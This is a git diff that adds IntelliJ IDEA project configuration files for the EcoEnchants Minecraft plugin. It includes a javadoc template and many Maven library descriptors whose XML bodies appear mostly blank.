diff --git a/.idea/.gitignore b/.idea/.gitignore
new file mode 100644
index 00000000..e69de29b
diff --git a/.idea/EcoEnchants.iml b/.idea/EcoEnchants.iml
new file mode 100644
index 00000000..c035f0b0
--- /dev/null
+++ b/.idea/EcoEnchants.iml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/codeStyles/codeStyleConfig.xml b/.idea/codeStyles/codeStyleConfig.xml
new file mode 100644
index 00000000..a55e7a17
--- /dev/null
+++ b/.idea/codeStyles/codeStyleConfig.xml
@@ -0,0 +1,5 @@
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/compiler.xml b/.idea/compiler.xml
new file mode 100644
index 00000000..ee59d9dd
--- /dev/null
+++ b/.idea/compiler.xml
@@ -0,0 +1,27 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/dictionaries/willi.xml b/.idea/dictionaries/willi.xml
new file mode 100644
index 00000000..411bff9d
--- /dev/null
+++ b/.idea/dictionaries/willi.xml
@@ -0,0 +1,8 @@
+
+
+
+ criticals
+ defusion
+
+
+
\ No newline at end of file
diff --git a/.idea/encodings.xml b/.idea/encodings.xml
new file mode 100644
index 00000000..00c414ea
--- /dev/null
+++ b/.idea/encodings.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/inspectionProfiles/Project_Default.xml b/.idea/inspectionProfiles/Project_Default.xml
new file mode 100644
index 00000000..4497cc76
--- /dev/null
+++ b/.idea/inspectionProfiles/Project_Default.xml
@@ -0,0 +1,46 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/intellij-javadocs-4.0.1.xml b/.idea/intellij-javadocs-4.0.1.xml
new file mode 100644
index 00000000..6403d6cf
--- /dev/null
+++ b/.idea/intellij-javadocs-4.0.1.xml
@@ -0,0 +1,204 @@
+
+
+
+
+ REPLACE
+ true
+ true
+
+ TYPE
+ METHOD
+ FIELD
+
+
+ PUBLIC
+ PROTECTED
+ DEFAULT
+
+
+
+
+
+ ^.*(public|protected|private)*.+interface\s+\w+.*
+ /**\n
+ * The interface ${name}.\n
+<#if element.typeParameters?has_content> * \n
+</#if>
+<#list element.typeParameters as typeParameter>
+ * @param <${typeParameter.name}> the type parameter\n
+</#list>
+ */
+
+
+ ^.*(public|protected|private)*.+enum\s+\w+.*
+ /**\n
+ * The enum ${name}.\n
+ */
+
+
+ ^.*(public|protected|private)*.+class\s+\w+.*
+ /**\n
+ * The type ${name}.\n
+<#if element.typeParameters?has_content> * \n
+</#if>
+<#list element.typeParameters as typeParameter>
+ * @param <${typeParameter.name}> the type parameter\n
+</#list>
+ */
+
+
+ .+
+ /**\n
+ * The type ${name}.\n
+ */
+
+
+
+
+ .+
+ /**\n
+ * Instantiates a new ${name}.\n
+<#if element.parameterList.parameters?has_content>
+ *\n
+</#if>
+<#list element.parameterList.parameters as parameter>
+ * @param ${parameter.name} the ${paramNames[parameter.name]}\n
+</#list>
+<#if element.throwsList.referenceElements?has_content>
+ *\n
+</#if>
+<#list element.throwsList.referenceElements as exception>
+ * @throws ${exception.referenceName} the ${exceptionNames[exception.referenceName]}\n
+</#list>
+ */
+
+
+
+
+ ^.*(public|protected|private)*\s*.*(\w(\s*<.+>)*)+\s+get\w+\s*\(.*\).+
+ /**\n
+ * Gets ${partName}.\n
+<#if element.typeParameters?has_content> * \n
+</#if>
+<#list element.typeParameters as typeParameter>
+ * @param <${typeParameter.name}> the type parameter\n
+</#list>
+<#if element.parameterList.parameters?has_content>
+ *\n
+</#if>
+<#list element.parameterList.parameters as parameter>
+ * @param ${parameter.name} the ${paramNames[parameter.name]}\n
+</#list>
+<#if isNotVoid>
+ *\n
+ * @return the ${partName}\n
+</#if>
+<#if element.throwsList.referenceElements?has_content>
+ *\n
+</#if>
+<#list element.throwsList.referenceElements as exception>
+ * @throws ${exception.referenceName} the ${exceptionNames[exception.referenceName]}\n
+</#list>
+ */
+
+
+ ^.*(public|protected|private)*\s*.*(void|\w(\s*<.+>)*)+\s+set\w+\s*\(.*\).+
+ /**\n
+ * Sets ${partName}.\n
+<#if element.typeParameters?has_content> * \n
+</#if>
+<#list element.typeParameters as typeParameter>
+ * @param <${typeParameter.name}> the type parameter\n
+</#list>
+<#if element.parameterList.parameters?has_content>
+ *\n
+</#if>
+<#list element.parameterList.parameters as parameter>
+ * @param ${parameter.name} the ${paramNames[parameter.name]}\n
+</#list>
+<#if isNotVoid>
+ *\n
+ * @return the ${partName}\n
+</#if>
+<#if element.throwsList.referenceElements?has_content>
+ *\n
+</#if>
+<#list element.throwsList.referenceElements as exception>
+ * @throws ${exception.referenceName} the ${exceptionNames[exception.referenceName]}\n
+</#list>
+ */
+
+
+ ^.*((public\s+static)|(static\s+public))\s+void\s+main\s*\(\s*String\s*(\[\s*\]|\.\.\.)\s+\w+\s*\).+
+ /**\n
+ * The entry point of application.\n
+
+ <#if element.parameterList.parameters?has_content>
+ *\n
+</#if>
+ * @param ${element.parameterList.parameters[0].name} the input arguments\n
+<#if element.throwsList.referenceElements?has_content>
+ *\n
+</#if>
+<#list element.throwsList.referenceElements as exception>
+ * @throws ${exception.referenceName} the ${exceptionNames[exception.referenceName]}\n
+</#list>
+ */
+
+
+ .+
+ /**\n
+ * ${name}<#if isNotVoid> ${return}</#if>.\n
+<#if element.typeParameters?has_content> * \n
+</#if>
+<#list element.typeParameters as typeParameter>
+ * @param <${typeParameter.name}> the type parameter\n
+</#list>
+<#if element.parameterList.parameters?has_content>
+ *\n
+</#if>
+<#list element.parameterList.parameters as parameter>
+ * @param ${parameter.name} the ${paramNames[parameter.name]}\n
+</#list>
+<#if isNotVoid>
+ *\n
+ * @return the ${return}\n
+</#if>
+<#if element.throwsList.referenceElements?has_content>
+ *\n
+</#if>
+<#list element.throwsList.referenceElements as exception>
+ * @throws ${exception.referenceName} the ${exceptionNames[exception.referenceName]}\n
+</#list>
+ */
+
+
+
+
+ ^.*(public|protected|private)*.+static.*(\w\s\w)+.+
+ /**\n
+ * The constant ${element.getName()}.\n
+ */
+
+
+ ^.*(public|protected|private)*.*(\w\s\w)+.+
+ /**\n
+ <#if element.parent.isInterface()>
+ * The constant ${element.getName()}.\n
+<#else>
+ * The ${name}.\n
+</#if> */
+
+
+ .+
+ /**\n
+ <#if element.parent.isEnum()>
+ *${name} ${typeName}.\n
+<#else>
+ * The ${name}.\n
+</#if>*/
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/jarRepositories.xml b/.idea/jarRepositories.xml
new file mode 100644
index 00000000..fde5fab6
--- /dev/null
+++ b/.idea/jarRepositories.xml
@@ -0,0 +1,80 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__cglib_cglib_nodep_3_2_5.xml b/.idea/libraries/Maven__cglib_cglib_nodep_3_2_5.xml
new file mode 100644
index 00000000..e1ac8fd1
--- /dev/null
+++ b/.idea/libraries/Maven__cglib_cglib_nodep_3_2_5.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_comphenix_executors_BukkitExecutors_1_1_SNAPSHOT.xml b/.idea/libraries/Maven__com_comphenix_executors_BukkitExecutors_1_1_SNAPSHOT.xml
new file mode 100644
index 00000000..3280d14c
--- /dev/null
+++ b/.idea/libraries/Maven__com_comphenix_executors_BukkitExecutors_1_1_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_comphenix_protocol_ProtocolLib_4_5_0.xml b/.idea/libraries/Maven__com_comphenix_protocol_ProtocolLib_4_5_0.xml
new file mode 100644
index 00000000..7a303621
--- /dev/null
+++ b/.idea/libraries/Maven__com_comphenix_protocol_ProtocolLib_4_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_darkblade12_particleeffect_1_8_0_fuuid.xml b/.idea/libraries/Maven__com_darkblade12_particleeffect_1_8_0_fuuid.xml
new file mode 100644
index 00000000..f91995a9
--- /dev/null
+++ b/.idea/libraries/Maven__com_darkblade12_particleeffect_1_8_0_fuuid.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_github_TechFortress_GriefPrevention_16_14_0.xml b/.idea/libraries/Maven__com_github_TechFortress_GriefPrevention_16_14_0.xml
new file mode 100644
index 00000000..9fbf94a4
--- /dev/null
+++ b/.idea/libraries/Maven__com_github_TechFortress_GriefPrevention_16_14_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_github_TownyAdvanced_Towny_0_96_2_0.xml b/.idea/libraries/Maven__com_github_TownyAdvanced_Towny_0_96_2_0.xml
new file mode 100644
index 00000000..f79562aa
--- /dev/null
+++ b/.idea/libraries/Maven__com_github_TownyAdvanced_Towny_0_96_2_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_github_angeschossen_LandsAPI_4_7_3.xml b/.idea/libraries/Maven__com_github_angeschossen_LandsAPI_4_7_3.xml
new file mode 100644
index 00000000..4cafaf6d
--- /dev/null
+++ b/.idea/libraries/Maven__com_github_angeschossen_LandsAPI_4_7_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_github_jiangdashao_matrix_api_repo_317d4635fd.xml b/.idea/libraries/Maven__com_github_jiangdashao_matrix_api_repo_317d4635fd.xml
new file mode 100644
index 00000000..a0b994f7
--- /dev/null
+++ b/.idea/libraries/Maven__com_github_jiangdashao_matrix_api_repo_317d4635fd.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_google_code_findbugs_annotations_3_0_0.xml b/.idea/libraries/Maven__com_google_code_findbugs_annotations_3_0_0.xml
new file mode 100644
index 00000000..c24f0d7a
--- /dev/null
+++ b/.idea/libraries/Maven__com_google_code_findbugs_annotations_3_0_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_google_code_findbugs_jsr305_1_3_9.xml b/.idea/libraries/Maven__com_google_code_findbugs_jsr305_1_3_9.xml
new file mode 100644
index 00000000..0e668241
--- /dev/null
+++ b/.idea/libraries/Maven__com_google_code_findbugs_jsr305_1_3_9.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_google_code_gson_gson_2_8_0.xml b/.idea/libraries/Maven__com_google_code_gson_gson_2_8_0.xml
new file mode 100644
index 00000000..6e5d5b7a
--- /dev/null
+++ b/.idea/libraries/Maven__com_google_code_gson_gson_2_8_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_google_guava_guava_21_0.xml b/.idea/libraries/Maven__com_google_guava_guava_21_0.xml
new file mode 100644
index 00000000..a9234562
--- /dev/null
+++ b/.idea/libraries/Maven__com_google_guava_guava_21_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_massivecraft_Factions_1_6_9_5_U0_5_13.xml b/.idea/libraries/Maven__com_massivecraft_Factions_1_6_9_5_U0_5_13.xml
new file mode 100644
index 00000000..d052fdd0
--- /dev/null
+++ b/.idea/libraries/Maven__com_massivecraft_Factions_1_6_9_5_U0_5_13.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_massivecraft_Factions_Legacy_1_6_9_5_U0_5_13.xml b/.idea/libraries/Maven__com_massivecraft_Factions_Legacy_1_6_9_5_U0_5_13.xml
new file mode 100644
index 00000000..191529c7
--- /dev/null
+++ b/.idea/libraries/Maven__com_massivecraft_Factions_Legacy_1_6_9_5_U0_5_13.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_mojang_brigadier_1_0_14.xml b/.idea/libraries/Maven__com_mojang_brigadier_1_0_14.xml
new file mode 100644
index 00000000..2d3a0403
--- /dev/null
+++ b/.idea/libraries/Maven__com_mojang_brigadier_1_0_14.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_sk89q_commandbook_2_3.xml b/.idea/libraries/Maven__com_sk89q_commandbook_2_3.xml
new file mode 100644
index 00000000..589fb535
--- /dev/null
+++ b/.idea/libraries/Maven__com_sk89q_commandbook_2_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_bukkit_7_2_0_SNAPSHOT.xml b/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_bukkit_7_2_0_SNAPSHOT.xml
new file mode 100644
index 00000000..67028c20
--- /dev/null
+++ b/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_bukkit_7_2_0_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_core_7_2_0_SNAPSHOT.xml b/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_core_7_2_0_SNAPSHOT.xml
new file mode 100644
index 00000000..cc0178c2
--- /dev/null
+++ b/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_core_7_2_0_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_libs_core_7_2_0_SNAPSHOT.xml b/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_libs_core_7_2_0_SNAPSHOT.xml
new file mode 100644
index 00000000..7f6fb971
--- /dev/null
+++ b/.idea/libraries/Maven__com_sk89q_worldedit_worldedit_libs_core_7_2_0_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_bukkit_7_0_4_SNAPSHOT.xml b/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_bukkit_7_0_4_SNAPSHOT.xml
new file mode 100644
index 00000000..e396a9fa
--- /dev/null
+++ b/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_bukkit_7_0_4_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_core_7_0_4_SNAPSHOT.xml b/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_core_7_0_4_SNAPSHOT.xml
new file mode 100644
index 00000000..bb603e93
--- /dev/null
+++ b/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_core_7_0_4_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_libs_core_7_0_4_SNAPSHOT.xml b/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_libs_core_7_0_4_SNAPSHOT.xml
new file mode 100644
index 00000000..63969dec
--- /dev/null
+++ b/.idea/libraries/Maven__com_sk89q_worldguard_worldguard_libs_core_7_0_4_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_typesafe_config_1_3_1.xml b/.idea/libraries/Maven__com_typesafe_config_1_3_1.xml
new file mode 100644
index 00000000..cf2bc379
--- /dev/null
+++ b/.idea/libraries/Maven__com_typesafe_config_1_3_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__com_willfp_ecoenchants_API_4_1_0_pre10.xml b/.idea/libraries/Maven__com_willfp_ecoenchants_API_4_1_0_pre10.xml
new file mode 100644
index 00000000..c181fe13
--- /dev/null
+++ b/.idea/libraries/Maven__com_willfp_ecoenchants_API_4_1_0_pre10.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__commons_codec_commons_codec_1_10.xml b/.idea/libraries/Maven__commons_codec_commons_codec_1_10.xml
new file mode 100644
index 00000000..27424a17
--- /dev/null
+++ b/.idea/libraries/Maven__commons_codec_commons_codec_1_10.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__commons_lang_commons_lang_2_6.xml b/.idea/libraries/Maven__commons_lang_commons_lang_2_6.xml
new file mode 100644
index 00000000..2ec83767
--- /dev/null
+++ b/.idea/libraries/Maven__commons_lang_commons_lang_2_6.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml b/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml
new file mode 100644
index 00000000..eab40b32
--- /dev/null
+++ b/.idea/libraries/Maven__commons_logging_commons_logging_1_2.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__de_janmm14_aac_api_4_2_0.xml b/.idea/libraries/Maven__de_janmm14_aac_api_4_2_0.xml
new file mode 100644
index 00000000..8100e94d
--- /dev/null
+++ b/.idea/libraries/Maven__de_janmm14_aac_api_4_2_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__de_schlichtherle_truezip_6_8_3.xml b/.idea/libraries/Maven__de_schlichtherle_truezip_6_8_3.xml
new file mode 100644
index 00000000..31ae2cd2
--- /dev/null
+++ b/.idea/libraries/Maven__de_schlichtherle_truezip_6_8_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__fr_neatmonster_nocheatplus_3_16_1_SNAPSHOT.xml b/.idea/libraries/Maven__fr_neatmonster_nocheatplus_3_16_1_SNAPSHOT.xml
new file mode 100644
index 00000000..7adfb259
--- /dev/null
+++ b/.idea/libraries/Maven__fr_neatmonster_nocheatplus_3_16_1_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__io_papermc_paperlib_1_0_4.xml b/.idea/libraries/Maven__io_papermc_paperlib_1_0_4.xml
new file mode 100644
index 00000000..93081b28
--- /dev/null
+++ b/.idea/libraries/Maven__io_papermc_paperlib_1_0_4.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__it_unimi_dsi_fastutil_8_2_1.xml b/.idea/libraries/Maven__it_unimi_dsi_fastutil_8_2_1.xml
new file mode 100644
index 00000000..3873e577
--- /dev/null
+++ b/.idea/libraries/Maven__it_unimi_dsi_fastutil_8_2_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__javax_inject_javax_inject_1.xml b/.idea/libraries/Maven__javax_inject_javax_inject_1.xml
new file mode 100644
index 00000000..93cf65ab
--- /dev/null
+++ b/.idea/libraries/Maven__javax_inject_javax_inject_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__me_lucko_commodore_1_3.xml b/.idea/libraries/Maven__me_lucko_commodore_1_3.xml
new file mode 100644
index 00000000..482ec88c
--- /dev/null
+++ b/.idea/libraries/Maven__me_lucko_commodore_1_3.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__me_vagdedes_SpartanAPI_1_0_0.xml b/.idea/libraries/Maven__me_vagdedes_SpartanAPI_1_0_0.xml
new file mode 100644
index 00000000..8b72a4e2
--- /dev/null
+++ b/.idea/libraries/Maven__me_vagdedes_SpartanAPI_1_0_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__mkremins_fanciful_0_4_0_SNAPSHOT.xml b/.idea/libraries/Maven__mkremins_fanciful_0_4_0_SNAPSHOT.xml
new file mode 100644
index 00000000..ce5df750
--- /dev/null
+++ b/.idea/libraries/Maven__mkremins_fanciful_0_4_0_SNAPSHOT.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__n3kas_ae_aeapi_1_0_0.xml b/.idea/libraries/Maven__n3kas_ae_aeapi_1_0_0.xml
new file mode 100644
index 00000000..784f0d27
--- /dev/null
+++ b/.idea/libraries/Maven__n3kas_ae_aeapi_1_0_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_dev_jna_jna_4_1_0.xml b/.idea/libraries/Maven__net_java_dev_jna_jna_4_1_0.xml
new file mode 100644
index 00000000..7ee934a0
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_dev_jna_jna_4_1_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_annotations_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_annotations_2_5_0.xml
new file mode 100644
index 00000000..f39c7727
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_annotations_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_cio_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_cio_2_5_0.xml
new file mode 100644
index 00000000..4e0fadc3
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_cio_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_io_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_io_2_5_0.xml
new file mode 100644
index 00000000..f58c3b0c
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_io_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_key_console_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_console_2_5_0.xml
new file mode 100644
index 00000000..4fc576a1
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_console_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_key_default_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_default_2_5_0.xml
new file mode 100644
index 00000000..1cd5b677
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_default_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_key_macosx_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_macosx_2_5_0.xml
new file mode 100644
index 00000000..6c69804a
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_macosx_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_key_spec_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_spec_2_5_0.xml
new file mode 100644
index 00000000..6cf86789
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_spec_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_key_swing_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_swing_2_5_0.xml
new file mode 100644
index 00000000..d9b7bcfa
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_key_swing_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_logging_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_logging_2_5_0.xml
new file mode 100644
index 00000000..225fbe36
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_logging_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_services_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_services_2_5_0.xml
new file mode 100644
index 00000000..9dfdf492
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_services_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truecommons_truecommons_shed_2_5_0.xml b/.idea/libraries/Maven__net_java_truecommons_truecommons_shed_2_5_0.xml
new file mode 100644
index 00000000..027452cc
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truecommons_truecommons_shed_2_5_0.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_access_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_access_0_12_1.xml
new file mode 100644
index 00000000..8ca13e16
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_access_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_access_swing_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_access_swing_0_12_1.xml
new file mode 100644
index 00000000..cefc2f72
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_access_swing_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_ibm437_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_ibm437_0_12_1.xml
new file mode 100644
index 00000000..3850d3d6
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_ibm437_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_tardriver_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_tardriver_0_12_1.xml
new file mode 100644
index 00000000..3c7d5828
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_tardriver_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_zip_0_12_1.xml b/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_zip_0_12_1.xml
new file mode 100644
index 00000000..98841133
--- /dev/null
+++ b/.idea/libraries/Maven__net_java_truevfs_truevfs_comp_zip_0_12_1.xml
@@ -0,0 +1,13 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
